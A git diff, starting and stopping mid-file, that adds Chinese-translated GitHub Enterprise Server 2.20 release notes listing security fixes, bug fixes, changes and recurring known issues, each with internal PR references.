https://github.com/github/enterprise2/pull/22601, https://github.com/github/enterprise2/pull/22592, https://github.com/github/enterprise2/pull/22605, https://github.com/github/enterprise2/pull/22426, https://github.com/github/enterprise2/pull/22718, https://github.com/github/enterprise2/pull/22699 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/18.yml new file mode 100644 index 0000000000..9bdfe66a37 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/18.yml @@ -0,0 +1,26 @@ +date: '2020-10-09' +sections: + security_fixes: + - 'LDAP 目录用户名标准化为现有 GHES 帐户登录的用户可以验证现有帐户。{% comment %} https://github.com/github/github/pull/156518, https://github.com/github/github/pull/155512 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/22910, https://github.com/github/enterprise2/pull/22878 {% endcomment %}' + bugs: + - '管理控制台中的 NameID 格式下拉列表将在设置为“持久”之后重置为“未指定”。{% comment %} https://github.com/github/enterprise2/pull/22403, https://github.com/github/enterprise2/pull/22331, https://github.com/github/enterprise2/issues/13446 {% endcomment %}' + - '通过[管理控制台](/admin/configuration/accessing-the-management-console)保存设置将附加一个新行到 [TLS/SSL 证书和密钥](/admin/configuration/configuring-tls)文件,这触发了某些服务的不必要重新加载。{% comment %} https://github.com/github/enterprise2/pull/22607, https://github.com/github/enterprise2/pull/22540 {% endcomment %}' + - '依赖关系图的系统日志没有旋转,允许无限存储增长。{% comment %} https://github.com/github/enterprise2/pull/22765, https://github.com/github/enterprise2/pull/22733 {% endcomment %}' + - '到 GitHub 安全通告的链接将使用 GitHub Enterprise Server 实例主机名的 URL 而不是 GitHub.com,将用户引导到不存在的 URL。{% comment %} https://github.com/github/github/pull/153444, https://github.com/github/github/pull/151301 {% endcomment %}' + - '使用 `ghe-migrator` 导入存储库时,如果数据不一致,可能发生意外异常。{% comment %} https://github.com/github/github/pull/153848, https://github.com/github/github/pull/151552 {% endcomment %}' + - '当使用 `ghe-migrator` 导入 PR 审核请求时,与删除用户相关的记录将产生外部数据库记录。{% comment %} https://github.com/github/github/pull/154958, https://github.com/github/github/pull/153169 {% endcomment %}' + - '使用 `ghe-migrator` 导入用户时,如果系统生成的电子邮件地址超过 100 个字符,则会出现“电子邮件无效”的错误。{% comment %} https://github.com/github/github/pull/155112, https://github.com/github/github/pull/152418 {% endcomment %}' + - '记录 Webhook 活动可能会使用大量的磁盘空间,并导致根盘变满。{% comment %} https://github.com/github/github/pull/155655, https://github.com/github/github/pull/154100 {% endcomment %}' + changes: + - '为 AWS EC2 实例类型 `m5.16xlarge` 添加了支持。{% comment %} https://github.com/github/enterprise2/pull/22500, https://github.com/github/enterprise2/pull/22473 {% endcomment %}' + - '删除 `ghe-migrator` 档案中 SSH 指纹的要求,因为它可以随时计算。{% comment %} https://github.com/github/github/pull/156944, https://github.com/github/github/pull/155387 {% endcomment %}' + - 'GitHub App 清单现在包含 `request_oauth_on_install` 字段。{% comment %} https://github.com/github/github/pull/156996, https://github.com/github/github/pull/155010, https://github.com/github/ecosystem-apps/issues/1055 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/19.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/19.yml new file mode 100644 index 0000000000..848ad4fa39 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/19.yml @@ -0,0 +1,14 @@ +date: '2020-10-20' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23095, https://github.com/github/enterprise2/pull/23081 {% endcomment %}' + bugs: + - '企业帐户“确认双因素要求策略”消息不正确。{% comment %} https://github.com/github/github/pull/158737 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/2.yml new file mode 100644 index 0000000000..76e0513b0c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/2.yml @@ -0,0 +1,28 @@ +date: '2020-03-10' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/19204, https://github.com/github/enterprise2/pull/19187 {% endcomment %}' + bugs: + - '在某些情况下,转发的日志条目(主要用于 audit.log)被截断。{% comment %} https://github.com/github/enterprise2/pull/19244, https://github.com/github/enterprise2/pull/19192, https://github.com/github/enterprise2/issues/16655 {% endcomment %}' + - '`ghe-license-check` 命令行实用程序对某些有效的许可返回“无效的许可证文件”错误,导致配置更改失败。{% comment %} https://github.com/github/enterprise2/pull/19249, https://github.com/github/enterprise2/pull/19185, https://github.zendesk.com/agent/tickets/549903 {% endcomment %}' + - 'Alambic 异常日志没有被 syslog 转发。{% comment %} https://github.com/github/enterprise2/pull/19263, https://github.com/github/enterprise2/pull/19123, https://github.com/github/enterprise2/issues/18734 {% endcomment %}' + - '[`org_block event`](https://developer.github.com/v3/activity/events/types/#orgblockevent) 并非不可用,但在 GitHub Enterprise Server 上的 GitHub 应用中显示。{% comment %} https://github.com/github/github/pull/136227, https://github.com/github/github/pull/135640, https://github.com/github/ecosystem-apps/issues/693 {% endcomment %}' + - 'GraphQL 查询响应有时返回 `ProtectedBranch` 对象的不匹配节点标识符。{% comment %} https://github.com/github/github/pull/136376, https://github.com/github/github/pull/136214, https://github.com/github/github/issues/135407 {% endcomment %}' + - 'GitHub Connect 使用的 GitHub 应用凭据在过期后未能立即刷新。{% comment %} https://github.com/github/github/pull/136384, https://github.com/github/github/pull/136259 {% endcomment %}' + - '在回复拉请求评论时留下评论会间歇性地创建挂起拉请求审查。{% comment %} https://github.com/github/github/pull/136454, https://github.com/github/github/pull/133697, https://github.com/github/github/issues/127401 {% endcomment %}' + - '使用 ghe-migrator 或从 GitHub.com 导出时,导出非图片附件会自动失败。{% comment %} https://github.com/github/github/pull/136487, https://github.com/github/github/pull/134524, https://github.com/github/github/issues/134358 {% endcomment %}' + - '在遇到 UTF-8 字符时,预接收挂钩会在 Web UI 上返回 500 错误。{% comment %} https://github.com/github/github/pull/136699, https://github.com/github/github/pull/136014, https://github.com/github/github/issues/133501 {% endcomment %}' + changes: + - '` ghe-license-usage ` 命令行实用程序新增了 `--unencrypted` 选项,用于查看导出的许可使用文件。{% comment %} https://github.com/github/github/pull/136134, https://github.com/github/github/pull/136000 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '如果自定义了后台工作进程配置,则升级和设置更新将失败。{% comment %} https://github.com/github/enterprise2/issues/19119 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从早期版本升级时,可能无法生成后台作业工作进程,从而阻止合并拉取请求等基本功能。(更新时间:2020-04-07){% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/20.yml new file mode 100644 index 0000000000..dab45f31dd --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/20.yml @@ -0,0 +1,16 @@ +date: '2020-11-03' +sections: + security_fixes: + - '**中:**高 CPU 使用可能被特殊构建的 SVN 桥请求触发,导致 SVN 桥服务上的拒绝服务 (DoS)。{% comment %} https://github.com/github/slumlord/pull/1003, https://github.com/github/slumlord/pull/1000 {% endcomment %}' + - "**低:**不正确的令牌验证导致身份验证期间匹配令牌的熵减少。分析表明,在实践中,这里没有重大的安全风险。{% comment %} https://github.com/github/github/pull/159453, https://github.com/github/github/pull/159193 {% endcomment %}" + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23538, https://github.com/github/enterprise2/pull/23171, https://github.com/github/enterprise2/pull/23691, https://github.com/github/enterprise2/pull/23677 {% endcomment %}' + bugs: + - '推荐用户列表中包含已暂停的用户,其中可能隐藏未暂停的用户。{% comment %} https://github.com/github/github/pull/159809, https://github.com/github/github/pull/140563, https://github.com/github/github/pull/142146 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/21.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/21.yml new file mode 100644 index 0000000000..fe9d3649d4 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/21.yml @@ -0,0 +1,15 @@ +date: '2020-11-17' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23843、https://github.com/github/enterprise2/pull/23712 {% endcomment %}' + bugs: + - 'Babeld 日志在秒与微秒之间缺少分隔符。{% comment %} https://github.com/github/babeld/pull/1004、https://github.com/github/babeld/pull/1002 {% endcomment %}' + - '当企业帐户“存储库可见性更改”策略设置为“启用”时,组织所有者无法更改组织内存储库的可见性。{% comment %} https://github.com/github/github/pull/160922、https://github.com/github/github/pull/160773 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/22.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/22.yml new file mode 100644 index 0000000000..da27dc46d1 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/22.yml @@ -0,0 +1,19 @@ +date: '2020-12-03' +sections: + bugs: + - '由于启动中的争用条件导致服务重新启动,因此检测到授权服务不正常。{% comment %} https://github.com/github/authzd/pull/1279, {% endcomment %}' + - '在热补丁升级过程中,一种基础行为导致服务不可用。{% comment %} https://github.com/github/enterprise2/pull/24053, https://github.com/github/enterprise2/issues/23947 {% endcomment %}' + - '未正确应用部分日志转发 SSL 证书。{% comment %} https://github.com/github/enterprise2/pull/24112, https://github.com/github/enterprise2/pull/23981 {% endcomment %}' + - '从团队或组织中移除暂停用户时向他们发送电子邮件通知。{% comment %} https://github.com/github/github/pull/163107, https://github.com/github/github/pull/162742 {% endcomment %}' + - '组织和企业之间应用 SSH 证书的方式不一致。{% comment %} https://github.com/github/github/pull/163429, https://github.com/github/github/pull/159538, https://github.com/github/authentication/issues/115 {% endcomment %}' + - '当帐户因使用不正确的密码而受到速率限制时,可能被锁定长达 24 小时。{% comment %} https://github.com/github/github/pull/163456, https://github.com/github/github/pull/162938, https://github.com/github/github-ds/pull/51 {% endcomment %}' + - '在具有许多引用的存储库上进行拉取请求同步可能会导致工作线程队列落后。{% comment %} https://github.com/github/github/pull/163576, https://github.com/github/github/pull/163142 {% endcomment %}' + - '在尝试访问特定页面后登录时,用户将发送到主页,而不是其预期目的地。{% comment %} https://github.com/github/github/pull/163785, https://github.com/github/github/pull/163579, https://github.com/github/github/pull/154117, https://github.com/github/ecosystem-apps/issues/1076 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/23.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/23.yml new file mode 100644 index 0000000000..cbf6780351 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/23.yml @@ -0,0 +1,13 @@ +date: '2020-12-17' +sections: + security_fixes: + - '低:****高 CPU 使用可能被特殊构建的 SVN 桥请求触发,进而导致 SVN 桥服务上的拒绝服务 (DoS)。{% comment %} https://github.com/github/slumlord/pull/1020, https://github.com/github/slumlord/pull/1017 {% endcomment %}' + - '包已更新到最新安全版本。{% comment %} https://github.com/github/enterprise2/pull/24351, https://github.com/github/enterprise2/pull/23866 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/24.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/24.yml new file mode 100644 index 0000000000..5c62b29244 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/24.yml @@ -0,0 +1,28 @@ +date: '2021-03-02' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,允许经过验证的实例用户通过特殊构建的拉取请求和 REST API 请求获得对未授权存储库的写入权限。攻击者需要能够创建目标存储库分支,该设置默认为组织拥有的私有存储库禁用。分支保护(如所需的拉取请求审查或状态检查)将防止未经进一步审查或验证的未授权提交被合并。此漏洞已分配 CVE-2021-22861。这个问题是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。' + - '**高:**在 GitHub Enterprise Server GraphQL API 中发现了一个不适当的访问控制漏洞,允许经过验证的实例用户在未经适当授权的情况下修改拉取请求的维护员协作权限。通过利用此漏洞,攻击者将能够访问在他们作为维护员的存储库上打开的拉取请求的头部分支。默认为组织拥有的私有存储库禁用分叉,并且可以防止此漏洞。此外,分支保护(如所需的拉取请求审查或状态检查)将防止未经进一步审查或验证的未授权提交被合并。此漏洞已分配 CVE-2021-22863。这个问题是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。' + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。GitHub Pages 使用的基础分析器的用户控制配置没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上执行命令。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。该漏洞编号为 CVE-2020-10519,是通过 [GitHub Bug 赏金计划](https://bounty.github.com/)报告的。' + - '**低:**对 SVN 桥的特别设计请求可能会触发长时间的等待,然后再导致拒绝服务 (DoS)。' + - '包已更新到最新的安全版本。' + bugs: + - '在 GitHub Enterprise 备份实用程序快照期间,信息性消息被无意中记录为错误,这导致在备份由侦听输出到 stderr 的 cron 作业安排时发送不必要的电子邮件。' + - '在恢复大型备份时,与 Redis 内存耗尽相关的异常记录可能导致恢复由于完整磁盘而出现故障。' + - '在编辑 wiki 页面时,用户单击“保存”按钮时可能会遇到 500 错误。' + - '使用主题替代名称中具有多个名称的证书签名的 S/MIME 签名提交将错误地显示为提交徽章中的“未验证”。' + - '被暂停的用户在添加到团队时收到电子邮件。' + - '上传与之前许可证文件不同数量的新许可证文件时,席位差异在企业帐户的“设置”->“许可证”页面中未正确表示。' + - '无法成功启用或禁用企业帐户设置中的“防止存储库管理员更改匿名 Git 读取访问权限”复选框。' + - '在闰年,用户在尝试在星期一查看贡献活动时收到 404 响应。' + changes: + - '添加了 [AWS EC2 r5b 实例类型](https://aws.amazon.com/about-aws/whats-new/2020/12/introducing-new-amazon-ec2-r5b-instances-feuring-60-gbps-of-ebbandwidth-260K-iops/)支持。' + - '调整的背景队列排列优先顺序,以更均匀地分配作业。' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。' + - '在升级期间不会维护自定义防火墙规则。' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。' + - '如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。' + - '推送到命令行上的存储库时不报告安全警报。' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/3.yml new file mode 100644 index 0000000000..c13bcaf404 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/3.yml @@ -0,0 +1,15 @@ +date: '2020-03-12' +sections: + bugs: + - '如果自定义了后台工作进程配置,升级和设置更新将失败。{% comment %} https://github.com/github/enterprise2/pull/19321, https://github.com/github/enterprise2/pull/19299 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从早期版本升级时,可能无法生成后台作业工作进程,从而阻止合并拉取请求等基本功能。(更新时间:2020-04-07){% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间于 2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/4.yml new file mode 100644 index 0000000000..7322860bb3 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/4.yml @@ -0,0 +1,18 @@ +date: '2020-03-25' +sections: + bugs: + - 'SAML 身份验证请求和元数据没有严格编码,导致一些标识提供者无法正确处理服务提供者发起的身份验证请求。{% comment %} https://github.com/github/github/pull/137150, https://github.com/github/github/pull/136770, https://github.com/github/github/issues/136766 {% endcomment %}' + - '`ghe-migrator` 导出不含里程碑用户,可能会中断导入操作。{% comment %} https://github.com/github/github/pull/138100, https://github.com/github/github/pull/137987, https://github.com/github/github/issues/137779 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/pull/138460, https://github.com/github/github/pull/138313 {% endcomment %}' + - '在尝试显示未完全复制的存储库时,`ghe-repl-status` 可能会失败。{% comment %} https://github.com/github/github/pull/138463, https://github.com/github/github/pull/138388 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从早期版本升级时,可能无法生成后台作业工作进程,从而阻止合并拉取请求等基本功能。(更新时间:2020-04-07){% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间于 2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/5.yml new file mode 100644 index 0000000000..79bb908419 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/5.yml @@ -0,0 +1,20 @@ +date: '2020-04-07' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/19536, https://github.com/github/enterprise2/pull/19494 {% endcomment %}' + bugs: + - '当全球企业帐户设置了 100MB 